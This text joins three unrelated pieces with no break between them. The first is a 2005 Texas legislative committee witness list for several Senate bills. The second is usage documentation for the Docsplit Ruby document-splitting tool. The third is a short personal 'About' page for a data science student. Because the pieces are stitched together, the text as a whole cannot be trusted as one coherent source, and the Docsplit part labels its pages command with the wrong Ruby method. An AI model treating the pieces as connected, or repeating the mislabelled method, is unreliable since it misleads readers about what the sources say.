WITNESS LIST Intergovernmental Relations Committee February 23, 2005 - 9:00A SB 174 Registering, but not testifying: For: Aghamalian, Brandon (City of Fort Worth), Fort Worth, TX Baray, Ray (City of San Antonio), San Antonio, TX Igo, Shanna (Texas Municipal League), Austin, TX Parmer, Elizabeth Managing Partner (City of Fort Worth and Perdue Law Firm), Fort Worth, TX SB 177 Registering, but not testifying: For: Aghamalian, Brandon (City of Fort Worth), Fort Worth, TX Igo, Shanna (Texas Municipal League), Austin, TX SB 200 FOR: Montgomery, Mike Harris County Fire Marshal (Harris County Fire Marshal's Office), Houston, TX Registering, but not testifying: For: Heyer, Connie (Texas Community Associations Institute), Austin, TX Higgins, Mike (Texas State Association of Fire Fighters), Austin, TX Jones, Amanda Legislative Coordinator (Harris County), Houston, TX SB 224 Registering, but not testifying: For: Crocker, Maureen Department Director For Legislative and Regulatory Issues (City of Houston), Houston, TX SB 244 FOR: Barbier, Brenda (The Texas Homeowner's Advocate), Katy, TX Gatlin, Barbara (Self), Katy, TX Kahne, Daivd (Homeowners), Houston, TX McGarr, Mary (Self), Katy, TX Touchet, Helen (The Texas Homeowner's Advocate), Katy, TX AGAINST: Heyer, Connie (Texas Community Associations Institute), Austin, TX McLin, Amy (Self), San Antonio Registering, but not testifying: For: Gonzalez, Daniel Director of Legislative Affairs (Texas Association of Realtors), Austin Against: Weichert, Glenn Attorney (Self), Austin SB 270 Registering, but not testifying: For: Gaines, Jimmy (Texas Landowners Council, Inc.), Austin, TX SB 280 FOR: Presley, Zera (Bellmar Civic Club Inc. & Northline Civic Club), Houston, TX Rodriguez, A.D. (Harris County Sherrif's Office), Humble, TX Registering, but not testifying: For: Cooney, Stephen Attorney with Loooper, Reed & McGraw (Bellmar Civic Club), Houston, TX Nitsch, Glenn (Ballmar Civic Club), Houston, TX Sisk, Cathy (Harris County), Houston Providing written testimony: For: Ledbetter, Michael Director of Services (Aldine Improvement District), Houston, TX SB 299 FOR: Perez, Richard Councilman, District 4 (City of San Antonio), San Antonio, TX Registering, but not testifying: For: Aghamalian, Brandon (City of Fort Worth), Fort Worth, TX Against: Whalen, Ken (Texa Daily Newspaper Association/ Texas Press Association), Austin, TX SB 313 FOR: DeLord, Ron President (Combined Law Enforcement Associations of Texas), Austin, TX AGAINST: Kirk, Chris Sheriff (Sheriff's Association of Texas), Bryan, TX Pichinson, Michael General Counsel (Texas Conference of Urban Counties), Austin, TX Registering, but not testifying: Against: Allison, Jim (County Judges and Commissioners Association of Texas), Austin, TX York, Van Judge (Borden County), Gail, TX On: Julian, Terry Executive Director (Texas Commission on Jail Standards), Austin, TX Laine, Edward Chief (TCLEOSE), Austin, TX


Docsplit is a command-line utility and Ruby library for splitting apart documents into their component parts: searchable UTF-8 plain text, page images or thumbnails in any format, PDFs, single pages, and document metadata (title, author, number of pages...)
Docsplit is an open-source component of DocumentCloud.
Installation & Dependencies | Usage | Internals | Change Log
aptitude install graphicsmagick # On Linux port install graphicsmagick # On Mac OS
soffice -headless -accept="socket,host=<IP_ADDRESS>,port=8100;urp;" -nofirststartwizardOn the Mac you'll find the “soffice” command here: /Applications/OpenOffice.org.app/Contents/MacOS/soffice.bin
Note: the gem will take a minute to download — the combined PDFBox and JODConverter jar files tip the scales at 8MB.
The Docsplit gem includes both the docsplit command-line utility
as well as a Ruby API. The available commands and options are identical in both.
--output or -o can be passed to any command in order to
store the generated files in a directory of your choosing.
images--size --format --pages
Ruby: extract_images
Generates an image for each page in the document at the specified resolution
and format. Pass --pages or -p to choose the specific pages to
image. Passing
--size or -s will specify the desired
image resolution, and --format or -f will select the format of the final images.
docsplit images example.pdf docsplit images docs/*.pdf --size 700x,50x50 --format gif --pages 3,10-15,42
Docsplit.extract_images('example.doc', :size => '1000x', :format => [:png, :jpg])
text--pages
Ruby: extract_text
Extract the complete UTF-8-encoded plain text of a document to a
single file. If you'd like to extract the text for each page separately,
pass --pages all.
docsplit text path/to/doc.pdf --pages all
docs = Dir['storage/originals/*.doc'] Docsplit.extract_text(docs, :output => 'storage/text')
pages--pages
Ruby: extract_text
Burst apart a document into single-page PDFs. Use --pages to
specify the individual pages (or ranges of pages) you'd like to generate.
docsplit pages path/to/doc.pdf --pages 1-10
Docsplit.extract_pages('path/to/presentation.ppt') Docsplit.extract_pages('doc.pdf', :pages => 1..10)
pdf
Ruby: extract_pdf
Convert documents into PDFs. Any type of document that OpenOffice can read
may be converted. These include the Microsoft Office formats: doc, docx, ppt,
xls and so on, as well as html, odf, rtf, swf, svg, and wpd.
The first time that you convert a new file type, OpenOffice will lazy-load
the code that processes it — subsequent conversions will be much faster.
docsplit pdf documentation/*.html
Docsplit.extract_pdf('expense_report.xls')
author, date, creator, keywords, producer, subject, title, length
Ruby: extract_...
Retrieve a piece of metadata about the document. The docsplit
utility will print to stdout, the Ruby API will return the value.
docsplit title path/to/stooges.pdf => Disorder in the Court
Docsplit.extract_length('path/to/stooges.pdf') => 36
Under the hood, Docsplit is a thin wrapper around the excellent PDFBox, GraphicsMagick, and JODConverter libraries. PDFBox is used to extract text and metadata from PDF documents, as well as to split them apart into pages. GraphicsMagick is used to generate the page images (internally, it's rendering them with GhostScript). JODConverter communicates with OpenOffice to perform the PDF conversions.
Because documents need to be in PDF format before any metadata, text, or images are extracted, it's faster to use docsplit pdf to convert it up front, if you're planning to run more than one extraction. Otherwise Docsplit will write out the PDF version to a temporary file before proceeding with each command.
0.1.2
Limiting the memory usage of GraphicsMagick to avoid out of memory errors
on very large PDFs.
0.1.1
Upgraded for compatibility with GraphicsMagick 1.3.11.
0.1.0
Initial Docsplit release.


--- layout: page title: About header-img: "img/about-bg.png" ---
Blair Blumenfeld is a data science student at Flatiron School, following her passion to understand the world through code.